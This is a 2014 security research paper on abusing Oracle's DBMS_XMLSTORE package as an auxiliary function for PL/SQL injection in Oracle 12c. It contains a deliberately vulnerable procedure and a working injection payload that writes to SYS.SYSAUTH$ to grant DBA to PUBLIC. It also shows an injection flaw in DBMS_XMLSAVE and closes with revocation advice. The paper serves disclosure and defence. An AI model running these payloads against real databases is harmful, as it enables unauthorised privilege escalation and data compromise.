DBMS_XMLSTORE

as an Auxiliary SQL Injection function in

Oracle 12c

David Litchfield [david.litchfield@datacom.com.au]

11th June 2014

Introduction

The ability to execute arbitrary SQL on Oracle via a SQL injection flaw is hampered by the fact that the Oracle RDBMS will not batch multiple queries. Typically, a low privileged attacker with say only the CREATE SESSION privilege, must find a function they can inject that will allow them to execute a block of anonymous PL/SQL. These are known as auxiliary inject functions. Depending upon the version of Oracle and what components are installed auxiliary inject functions may be few and far between. For example, on Oracle 12c with the internal Java VM removed, there may be none [1]. Indeed, during a recent client assessment the author of this paper was confronted with such a situation: a PL/SQL injection flaw but with no easy method for easy exploitation to gain full control of the database server. This paper presents a method around such a problem using DBMS_XMLSTORE and, co-incidentally, DBMS_XMLSAVE. This method can be used in web-based SQL injection attacks, as well.

Before we continue let's cover some a key point about PL/SQL injection. If a PL/SQL procedure is vulnerable to SQL injection via an INSERT, UPDATE or DELETE statement (collectively known as DML [Data Manipulation Language]) then the attacker may inject another DML query because a transaction is already in progress. (If the vulnerability lies in a SELECT query this is *not* the case). In other words, if an attacker can find a SQL injection flaw in a PL/SQL package that performs a DML query then the attacker can also execute their own INSERT, UPDATE or DELETE query – and on an entirely different table too. Let's say for the sake of argument the arbitrary SQL an attacker wishes to execute is GRANT DBA TO PUBLIC. Under the covers, when executing this, an INSERT is performed on the SYS.SYSAUTH$ table. If an attacker does not have the ability to execute the GRANT directly, but has the ability to perform an INSERT then performing a direct INSERT on the SYSAUTH$ table is functionally equivalent. As an attack this has long been known. Provided then, the vulnerability the attacker is exploiting exists in a DML query and the procedure has the requisite privileges, for example it is owned by SYS and uses definer rights, then the attacker can perform a direct INSERT on SYSAUTH$ to gain DBA privileges. An attacker with only the CREATE SESSION privilege however needs a function to perform this work for them.

Consider the following PL/SQL procedure – it is vulnerable to PL/SQL injection.

```
SQL> CONNECT / AS SYSDBA
Connected.
SQL> CREATE TABLE DWLDEMO(X VARCHAR(30));

Table created.
SQL> CREATE OR REPLACE PROCEDURE VULNERABLE_PROC (P VARCHAR) IS
  2  BEGIN
  3  EXECUTE IMMEDIATE 'INSERT INTO SYS.DWLDEMO (X) VALUES (''' || P || ''')';
  4  COMMIT;
  5  END;
  6  /
Procedure created.
SQL> GRANT EXECUTE ON VULNERABLE_PROC TO PUBLIC;
Grant succeeded.
SQL> SET SERVEROUTPUT ON
```

```
SQL> EXEC VULNERABLE_PROC('FOO');
PL/SQL procedure successfully completed.
SQL> EXEC VULNERABLE_PROC('FOO''BAR');
BEGIN VULNERABLE_PROC('FOO''BAR'); END;
*
ERROR at line 1:
ORA-00917: missing comma
ORA-06512: at "SYS.VULNERABLE_PROC", line 3
ORA-06512: at line 1
```

As we can see the procedure called VULNERABLE_PROC is vulnerable to SQL injection when performing an INSERT on the SYS.DWLDEMO table. We will come back to it shortly.

DBMS_XMLSTORE

The DBMS_XMLSTORE PL/SQL package contains the following functions: INSERTXML and UPDATEXML.

The INSERTXML function allows a user to INSERT into a table and UPDATEXML allows a user to UPDATE a table. Both take a context handle as their first parameter. This context handle is created with by the NEWCONTEXT function and is simply a number that starts at 0 then increments for each new call to NEWCONTEXT; its parameter is the name of the table the user wishes to INSERT into. Given NEWCONTEXT is a functions it's perfectly acceptable to pass a call to it as the first parameter to INSERTXML:

```
SQL> BEGIN
  2
DBMS_OUTPUT.PUT_LINE(DBMS_XMLSTORE.INSERTXML(DBMS_XMLSTORE.NEWCONTEXT('SYSTEM
.OL$'), '<ROWSET><ROW><OL_NAME>FOO</OL_NAME></ROW></ROWSET>'));
  3  END;
  4  /

PL/SQL procedure successfully completed.

SQL> SELECT OL_NAME FROM SYSTEM.OL$;

OL_NAME
------------
FOO

SQL>
```

So, if we go back to our vulnerable PL/SQL procedure we can see that we can use DBMS_XMLSTORE to INSERT arbitrary data into arbitrary table. In the following example we'll make PUBLIC a DBA by INSERTing into the SYS.SYSAUTH$ table. The SYS.SYSAUTH$ table has the following columns:

```
SQL> DESC SYS.SYSAUTH$
```

```
 Name                                      Null?    Type
 ----------------------------------------- -------- 
 GRANTEE#                                  NOT NULL NUMBER
 PRIVILEGE#                                NOT NULL NUMBER
 SEQUENCE#                                 NOT NULL NUMBER
 OPTION$                                            NUMBER
```

Note the first three columns end in a #. In XML a # is not allowed in a tag name so we need to encode it as "_x0023_" when we pass the columns names to the insertxml() function:

```
SQL> CONNECT GREMLIN/PASSWORD
Connected.
SQL> SELECT * FROM SESSION_PRIVS;

PRIVILEGE
----------------------------------------
CREATE SESSION

SQL> SET ROLE DBA;
SET ROLE DBA
*
ERROR at line 1:
ORA-01924: role 'DBA' not granted or does not exist


SQL> EXEC SYS.VULNERABLE_PROC('FOO''||DBMS_XMLSTORE.INSERTXML(
DBMS_XMLSTORE.NEWCONTEXT(''SYS.SYSAUTH$''),
''<ROWSET><ROW><GRANTEE_x0023_>1</GRANTEE_x0023_>
<PRIVILEGE_x0023_>4</PRIVILEGE_x0023
_><SEQUENCE_x0023_>13371337</SEQUENCE_x0023_>
</ROW></ROWSET>'')||''BAR');

PL/SQL procedure successfully completed.

SQL> SET ROLE DBA;

Role set.

SQL>
```

As we can see, whilst we don't have the ability to execute "arbitrary" SQL we can functionally achieve the same effect. DBMS_XMLSAVE can also be used to do this; under the covers however it uses Java. For those systems that have removed the JavaVM, DBMS_XMLSAVE would not work.

SQL Inception

As a side note, it's also interesting to note that DBMS_XMLSAVE is vulnerable to SQL injection – which, when being used as an auxiliary inject function would produce a SQL inception attack. ☺

```
SQL> SET SERVEROUTPUT ON
```

```
SQL> EXEC DBMS_JAVA.SET_OUTPUT(2000);

PL/SQL procedure successfully completed.

SQL> SELECT DBMS_XMLSAVE.NEWCONTEXT('FOO''BAR') FROM DUAL;

DBMS_XMLSAVE.NEWCONTEXT('FOO''BAR')
-----------------------------------
                                  2

SQL> SELECT DBMS_XMLSAVE.INSERTXML(2, '<ROWSET><ROW><X>FOO</X></ROW></ROWSET>')
FROM DUAL;
SELECT DBMS_XMLSAVE.INSERTXML(2, '<ROWSET><ROW><X>FOO</X></ROW></ROWSET>') FROM
DUAL
       *
ERROR at line 1:
ORA-29532: Java call terminated by uncaught Java exception:
oracle.xml.sql.OracleXMLSQLException: ORA-01756: quoted string not properly
terminated
ORA-06512: at "SYS.DBMS_XMLSAVE", line 111


Exception in thread "Root Thread" oracle.xml.sql.OracleXMLSQLException:
ORA-01756: quoted string not properly terminated
        at oracle.xml.sql.dml.OracleXMLSave.saveXML(OracleXMLSave.java:2671)
        at oracle.xml.sql.dml.OracleXMLSave.insertXML(OracleXMLSave.java:1602)
        at
oracle.xml.sql.dml.OracleXMLStaticSave.insertXML(OracleXMLStaticSave.java:437
)
SQL>
```

The vulnerability lies in the OracleXMLSave class:

```
      {
            tabColHash = null;
            String s = (new StringBuilder()).append("select * from
").append(tableName).append(" where 1 = 0").toString();
            Object obj = oracleconn ? ((Object) (new
OracleXMLDataSetExtJdbc(conn, s))) : ((Object) (new
OracleXMLDataSetGenJdbc(conn, s)));
            OracleXMLConvert oraclexmlconvert = new OracleXMLConvert(conn,
((OracleXMLDataSet) (obj)));
            oraclexmlconvert.setMiscFlags(1);
            if(ignoreCase)
                oraclexmlconvert.setMiscFlags(2);
            if(xDocIsEsc)
                oraclexmlconvert.setMiscFlags(4);
            colNames = oraclexmlconvert.createColNames();
            colCount = ((OracleXMLDataSet) (obj)).getColumnCount();
            ((OracleXMLDataSet) (obj)).close();
        }
```

As DBMS_XMLSAVE uses invoker rights this SQL injection issue does not really present a risk; unless of course it called from a definer rights procedure and the invoker has some control over the table name being passed to the NEWCONTEXT function.

Preventing abuse

Revoking the execute permission on DBMS_XMLSTORE and DBMS_XMLSAVE from PUBLIC will help prevent their abuse. Grant execute to only those roles and users that require it as a strict business requirement.

References

[1] http://www.davidlitchfield.com/Exploiting_PLSQL_Injection_on_Oracle_12c.pdf

See Also

[1] http://www.davidlitchfield.com/plsql-injection-create-session.pdf

[2] http://www.davidlitchfield.com/cursor-injection.pdf

[3] http://www.davidlitchfield.com/ExploitingPLSQLinOracle11g.pdf

[4] http://www.davidlitchfield.com/HackingAurora.pdf

[5] https://www.corelan.be/index.php/2012/03/15/blackhat-eu-2012-day-2/